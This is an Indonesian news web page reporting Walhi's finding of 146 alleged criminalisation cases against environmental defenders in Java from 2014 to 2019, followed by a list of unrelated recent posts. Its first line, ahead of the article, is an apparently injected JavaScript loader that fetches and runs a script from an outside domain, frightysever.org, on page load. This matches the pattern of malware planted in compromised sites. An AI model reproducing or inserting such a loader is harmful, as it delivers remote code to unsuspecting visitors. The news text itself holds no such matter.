(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Walhi: Terjadi 146 Kasus Kriminalisasi Pejuang Lingkungan Hidup Sepanjang 2014-2019


JAKARTA, Wahana Lingkungan Hidup Indonesia ( Walhi) mencatat terdapat 146 kasus dugaan kriminalisasi yang menyasar pejuang lingkungan hidup di Pulau Jawa pada periode 2014-2019. “Kriminalisasi terjadi di lima wilayah. Antara lain Jakarta empat kasus, Jawa Barat lima kasus, Jogjakarta 19 kasus, Jawa Tengah 15 kasus dan Jawa Timur 103 kasus,” ujar Manager Tata Ruang dan GIS Walhi Achmad Rozani di Kantor Walhi, Jakarta, Selasa (10/12).

Rozani menegaskan bahwa praktik kriminalisasi itu berkaitan erat dengan Undang-Undang (UU) Perlindungan dan Pengolahan Lingkungan Hidup (PPLH) Pasal 66. Sebab, para korban adalah orang yang memperjuangkan hak atas lingkungan hidup yang baik dan sehat tidak dapat dituntut secara pidana maupun digugat secara perdata. Demikian dilansir kompas.com.

Namun, kata Rozani, fakta yang terjadi, bukan saja para pejuang lingkungan mengalami kriminalisasi. Melainkan juga dihadapi tindak kekerasan. “Dalam banyak kasus, pola kekerasan yang dialami rakyat tidak banyak berbeda ketika berhadapan dengan swasta atau pun negara, di mana aparatur negara terlibat, baik secara langsung atau pun tidak,” kata dia.

Rozani mengungkapkan, berdasarkan data tipologi kasus, industri ekstraktif masih menjadi sektor yang menyumbang konflik paling tinggi. Di mana sektor tambang mencapai 52 persen. Kemudian infrastruktur 13 persen, industri pariwisata dan properti 13 persen, kehutanan 13 persen dan tata ruang 5 persen.

Sedangkan dari pelaku pelanggar HAM terhadap pejuang lingkungan hidup, instansi kepolisian adalah yang paling sering malakukannya. “Dari sisi pelanggaran HAM, kepolisian mencapai 19 kasus, preman 11 kasus, pemerintah 3 kasus, dan TNI 1 kasus,” terang Rozani.

Rozani mengaku heran lantaran proyek yang merusak lingkungan masih saja beroperasi. Terlebih, pemerintah memberikan karpet merah melalui kebijakan yang berpotensi semakin merusak lingkungan. Bahkan, pemerintah dalam beberapa pekan terakhir mendorong agar Amdal dam IMB dihapuskan.

Terlebih, pelaksanaan kebijakan perlindungan strategis seperti Kajian Lingkungan Hidup Strategis (KLHS) juga tidak maksimal. “Berbagai perampasan ruang hidup ini, terus meluas karena selain turut difasilitasi negara, juga didukung oleh berbagai institusi keuangan-pendanaan, baik dalam negeri maupun luar negeri,” tegas Rozani.(cel/kom)

Reporter : Cel/kom
Editor : Chell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.